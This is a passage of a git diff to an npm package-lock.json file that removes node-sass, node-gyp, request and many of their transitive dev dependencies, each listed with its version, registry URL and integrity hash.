"forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true - }, - "form-data": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", - "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", - "dev": true, - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.6", - "mime-types": "^2.1.12" - } - }, "forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", @@ -6995,18 +6733,6 @@ "dev": true, "optional": true }, - "fstream": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", - "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - } - }, "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", @@ -7019,31 +6745,6 @@ "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", "dev": true }, - "gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", - "dev": true, - "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - } - }, - "gaze": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", - "dev": true, - "requires": { - "globule": "^1.0.0" - } - }, "gensync": { "version": "1.0.0-beta.2", "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", @@ -7067,12 +6768,6 @@ "has-symbols": "^1.0.1" } }, - "get-stdin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true - }, "get-stream": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", @@ -7086,15 +6781,6 @@ "dev": true, "optional": true }, - "getpass": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", - "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - } - }, "glob": { "version": "7.1.6", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", @@ -7207,17 +6893,6 @@ "integrity": "sha1-L0SUrIkZ43Z8XLtpHp9GMyQoXUM=", "dev": true }, - "globule": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/globule/-/globule-1.3.1.tgz", - "integrity": "sha512-OVyWOHgw29yosRHCHo7NncwR1hW5ew0W/UrvtwvjefVJeQ26q4/8r8FmPsSF1hJ93IgWkyv16pCTz6WblMzm/g==", - "dev": true, - "requires": { - "glob": "~7.1.1", - "lodash": "~4.17.12", - "minimatch": "~3.0.2" - } - }, "gonzales-pe": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/gonzales-pe/-/gonzales-pe-4.3.0.tgz", @@ -7239,22 +6914,6 @@ "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", "dev": true }, - "har-schema": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", - "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", - "dev": true - }, - "har-validator": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", - "dev": true, - "requires": { - "ajv": "^6.5.5", - "har-schema": "^2.0.0" - } - }, "hard-rejection": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", @@ -7270,15 +6929,6 @@ "function-bind": "^1.1.1" } }, - "has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, "has-bigints": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", @@ -7313,12 +6963,6 @@ } } }, - "has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true - }, "has-value": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", @@ -7381,12 +7025,6 @@ "react-is": "^16.7.0" } }, - "hosted-git-info": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", - "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", - "dev": true - }, "hpack.js": { "version": "2.1.6", "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", @@ -7683,17 +7321,6 @@ } } }, - "http-signature": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", - "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" - } - }, "human-signals": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", @@ -7743,21 +7370,6 @@ "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, - "in-publish": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.1.tgz", - "integrity": "sha512-oDM0kUSNFC31ShNxHKUyfZKy8ZeXZBWMjMdZHKLOk13uvT27VTL/QzRGfRUcevJhpkZAvlhPYuXkF7eNWrtyxQ==", - "dev": true - }, - "indent-string": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", - "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", - "dev": true, - "requires": { - "repeating": "^2.0.0" - } - }, "indexes-of": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", @@ -8134,21 +7746,6 @@ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", "dev": true }, - "is-finite": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.1.0.tgz", - "integrity": "sha512-cdyMtqX/BOqqNBBiKlIVkytNHm49MtMlYyn1zxzvJKWmFMlGzm+ry5BBfYyeY9YmNKbRSo/o7OX9w9ale0wg3w==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "requires": { - "number-is-nan": "^1.0.0" - } - }, "is-glob": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", @@ -8281,12 +7878,6 @@ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", "dev": true }, - "is-utf8": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", - "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", - "dev": true - }, "is-windows": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", @@ -8330,12 +7921,6 @@ "whatwg-fetch": ">=0.10.0" } }, - "isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true - }, "jest-diff": { "version": "26.6.2", "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz", @@ -8433,12 +8018,6 @@ } } }, - "js-base64": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.2.tgz", - "integrity": "sha512-Vg8czh0Q7sFBSUMWWArX/miJeBWYBPpdU/3M/DKSaekLMqrqVPaedp+5mZhie/r0lgrcaYBfwXatEew6gwgiQQ==", - "dev": true - }, "js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -8454,12 +8033,6 @@ "esprima": "^4.0.0" } }, - "jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", - "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true - }, "jsesc": { "version": "2.5.2", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", @@ -8477,12 +8050,6 @@ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" }, - "json-schema": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true - }, "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", @@ -8494,12 +8061,6 @@ "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", "dev": true }, - "json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true - }, "json5": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", @@ -8517,18 +8078,6 @@ "graceful-fs": "^4.1.6" } }, - "jsprim": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", - "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, - "requires": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - } - }, "jsx-ast-utils": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz", @@ -8590,30 +8139,6 @@ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz", "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=" }, - "load-json-file": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", - "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "strip-bom": "^2.0.0" - }, - "dependencies": { - "parse-json": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", - "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, - "requires": { - "error-ex": "^1.2.0" - } - } - } - }, "loader-runner": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", @@ -8630,24 +8155,6 @@ "json5": "^1.0.1" } }, - "locate-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", - "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", - "dev": true, - "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - }, - "dependencies": { - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true - } - } - }, "lodash": { "version": "4.17.21", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", @@ -8782,32 +8289,12 @@ "js-tokens": "^3.0.0 || ^4.0.0" } }, - "loud-rejection": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", - "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", - "dev": true, - "requires": { - "currently-unhandled": "^0.4.1", - "signal-exit": "^3.0.0" - } - }, "lower-case": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=", "dev": true }, - "lru-cache": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", - "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", - "dev": true, - "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, "make-dir": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", @@ -8908,24 +8395,6 @@ "fs-monkey": "1.0.3" } }, - "meow": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", - "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", - "dev": true, - "requires": { - "camelcase-keys": "^2.0.0", - "decamelize": "^1.1.2", - "loud-rejection": "^1.0.0", - "map-obj": "^1.0.1", - "minimist": "^1.1.3", - "normalize-package-data": "^2.3.4", - "object-assign": "^4.0.1", - "read-pkg-up": "^1.0.1", - "redent": "^1.0.0", - "trim-newlines": "^1.0.0" - } - }, "merge-descriptors": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", @@ -9163,12 +8632,6 @@ "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", "dev": true }, - "nan": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", - "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", - "dev": true - }, "nanoid": { "version": "2.1.11", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", @@ -9242,86 +8705,6 @@ "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", "dev": true }, - "node-gyp": { - "version": "3.8.0", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", - "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", - "dev": true, - "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "^2.87.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - }, - "dependencies": { - "semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "dev": true - } - } - }, - "node-sass": { - "version": "4.14.1", - "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.14.1.tgz", - "integrity": "sha512-sjCuOlvGyCJS40R8BscF5vhVlQjNN069NtQ1gSxyK1u9iqvn6tf7O1R4GNowVZfiZUCRt5MmMs1xd+4V/7Yr0g==", - "dev": true, - "requires": { - "async-foreach": "^0.1.3", - "chalk": "^1.1.1", - "cross-spawn": "^3.0.0", - "gaze": "^1.0.0", - "get-stdin": "^4.0.1", - "glob": "^7.0.3", - "in-publish": "^2.0.0", - "lodash": "^4.17.15", - "meow": "^3.7.0", - "mkdirp": "^0.5.1", - "nan": "^2.13.2", - "node-gyp": "^3.8.0", - "npmlog": "^4.0.0", - "request": "^2.88.0", - "sass-graph": "2.2.5", - "stdout-stream": "^1.4.0", - "true-case-path": "^1.0.2" - }, - "dependencies": { - "ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "dev": true - }, - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - } - }, - "supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true - } - } - }, "noms": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", @@ -9358,27 +8741,6 @@ } } }, - "nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, - "requires": { - "abbrev": "1" - } - }, - "normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, "normalize-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", @@ -11500,18 +10862,6 @@ } } }, - "npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", - "dev": true, - "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, "nth-check": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", @@ -11533,18 +10883,6 @@ "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", "dev": true }, - "number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true - }, - "oauth-sign": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", - "dev": true - }, "object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", @@ -11996,28 +11334,12 @@ "word-wrap": "~1.2.3" } }, - "os-homedir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "dev": true - }, "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", "dev": true }, - "osenv": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", - "dev": true, - "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, "p-event": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz", @@ -12042,15 +11364,6 @@ "p-try": "^2.0.0" } }, - "p-locate": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", - "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", - "dev": true, - "requires": { - "p-limit": "^2.0.0" - } - }, "p-map": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", @@ -12184,15 +11497,6 @@ "dev": true, "optional": true }, - "path-exists": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", - "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", - "dev": true, - "requires": { - "pinkie-promise": "^2.0.0" - } - }, "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -12236,39 +11540,12 @@ "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==", "optional": true }, - "performance-now": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", - "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", - "dev": true - }, "picomatch": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.3.tgz", "integrity": "sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==", "dev": true }, - "pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true - }, - "pinkie": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", - "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", - "dev": true - }, - "pinkie-promise": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", - "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", - "dev": true, - "requires": { - "pinkie": "^2.0.0" - } - }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", @@ -12600,12 +11877,6 @@ "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", "dev": true }, - "pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true - }, "psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", @@ -12621,12 +11892,6 @@ "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", "integrity": "sha1-H+Bk+wrIUfDeYTIKi/eWg2Qi8z4=" }, - "qs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "dev": true - }, "querystring": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", @@ -13026,40 +12291,6 @@ "prop-types": "^15.6.2" } }, - "read-pkg": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", - "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", - "dev": true, - "requires": { - "load-json-file": "^1.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^1.0.0" - }, - "dependencies": { - "path-type": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", - "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - } - } - } - }, - "read-pkg-up": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", - "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", - "dev": true, - "requires": { - "find-up": "^1.0.0", - "read-pkg": "^1.0.0" - } - }, "readable-stream": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", @@ -13116,16 +12347,6 @@ "resolve": "^1.9.0" } }, - "redent": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", - "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", - "dev": true, - "requires": { - "indent-string": "^2.1.0", - "strip-indent": "^1.0.1" - } - }, "redux": { "version": "4.0.5", "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.5.tgz", @@ -13347,43 +12568,6 @@ "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", "dev": true }, - "repeating": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", - "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", - "dev": true, - "requires": { - "is-finite": "^1.0.0" - } - }, - "request": { - "version": "2.88.2", - "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", - "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", - "dev": true, - "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.3", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.5.0", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" - } - }, "require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", @@ -13396,12 +12580,6 @@ "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", "dev": true }, - "require-main-filename": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", - "integrity": 